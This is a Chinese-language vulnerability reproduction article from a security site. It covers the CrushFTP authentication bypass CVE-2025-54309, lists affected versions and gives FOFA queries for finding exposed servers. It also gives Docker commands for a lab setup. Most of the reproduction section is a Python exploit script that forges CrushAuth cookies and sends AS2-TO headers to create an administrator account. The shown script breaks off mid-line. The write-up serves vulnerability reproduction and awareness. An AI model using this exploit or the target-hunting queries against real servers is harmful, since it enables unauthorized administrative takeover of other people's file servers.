CrushFTP身份验证绕过漏洞(CVE-2025-54309)
CrushFTP 10 和 11 的旧版本存在 CVE-2025-54309 漏洞,未使用 DMZ 代理时错误处理 AS2 验证,允许远程攻击者通过 HTTPS 绕过认证获取管理员权限。漏洞影响 CrushFTP 10 < 10.8.5 和 11 < 11.3.4_23 版本,可通过 Docker 环境复现并利用 Python 脚本创建管理员账户。 2025-9-8 12:47:7 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

1757335563_68bed00bb9dd7ac09739e.png!small?1757335564417

CrushFTP介绍:

CrushFTP是一款功能强大的跨平台FTP服务器软件,它不仅支持FTP、FTPS、SFTP等传统协议,还兼容HTTP、HTTPS、WebDAV及WebDAV SSL等多种现代传输方式。

漏洞概述:

当未使用 DMZ 代理功能时,10.8.5 之前的 CrushFTP 10 和 11.3.4_23 之前的 11 会错误处理 AS2 验证,从而允许远程攻击者通过 HTTPS 获得管理员访问权限,就像 2025 年 7 月在野外利用的那样。

漏洞版本:

CrushFTP 10 < 10.8.5 
CrushFTP 10 < 11.3.4_23
FOFA:
fofa:
      - icon_hash="-1022206565"
      - title="CrushFTP WebInterface"
      - body="crushftp"

环境搭建:

复现使用docker 容器进行搭建,执行如下命令开启CrushFTP 10

# mkdir /ftproot
# docker run -p 21:21 -p 443:443 -p 20000-20100:20000-20100 -p 2222:2222 -p 8080:8080 -p 9090:9090 -v $PWD/crushftp:/var/opt/crushftp -v /ftproot:/ftproot netlah/crushftp:latest

执行完成如下:

1757335230_68becebe0bd9e1104fb26.png!small?1757335230857

此时请求8080端口,以及443端口都是正常的。

1757335254_68beced6141b020b18767.png!small?1757335254876

1757335266_68becee2e860cd2d3e669.png!small?1757335267883

漏洞复现:

执行如下脚本绕过认证,创建一个管理员账户

#!/usr/bin/env python3
"""
CrushFTP CVE-2025-54309 Authentication Bypass Exploit - User Creation
Based on working Watchtowr POC pattern
FOR AUTHORIZED PENETRATION TESTING ONLY - HTB Labs Use
"""

import requests
import threading
import time
import random
import string
import sys
import argparse

banner = """
╔═══════════════════════════════════════════════════════════╗
║            CrushFTP CVE-2025-54309 Exploit               ║
║         Race Condition Authentication Bypass             ║
║               User Creation Version                       ║
║                                                           ║
║           FOR AUTHORIZED TESTING ONLY                     ║
║              HTB Labs & Pentesting Use                    ║
╚═══════════════════════════════════════════════════════════╝
"""

class CrushFTPUserCreator:
    def __init__(self, target_url, username, password):
        self.target_url = target_url.rstrip('/')
        self.username = username
        self.password = password
        self.c2f_value = None
        self.crush_auth_cookie = None
        self.success = False
        
        # Disable SSL warnings
        requests.packages.urllib3.disable_warnings()
    
    def generate_random_c2f(self):
        """Generate random 4-character c2f value like the working POC"""
        return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
    
    def update_c2f_and_cookies(self):
        """Generate new c2f value and update cookies - exactly like working POC"""
        self.c2f_value = self.generate_random_c2f()
        # Use the same cookie format as working POC
        timestamp = int(time.time() * 1000)
        random_suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=24))
        self.crush_auth_cookie = f"CrushAuth={timestamp}_{random_suffix}{self.c2f_value}; currentAuth={self.c2f_value}"
        print(f"[*] Generated new c2f value: {self.c2f_value}")
    
    def make_request_with_as2(self):
        """Make request with AS2-TO header - following working POC pattern"""
        url = f"{self.target_url}/WebInterface/function/"
        
        headers = {
            "Host": self.target_url.replace("http://", "").replace("https://", ""),
            "User-Agent": "python-requests/2.32.3",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "*/*",
            "Connection": "keep-alive",
            "AS2-TO": "\\crushadmin",  # Exactly like working POC
            "Content-Type": "disposition-notification",
            "X-Requested-With": "XMLHttpRequest",
            "Cookie": self.crush_auth_cookie
        }
        
        # XML payload for creating admin user
        user_xml = f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{sel

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/vuls/447732.html
如有侵权请联系:admin#unsafe.sh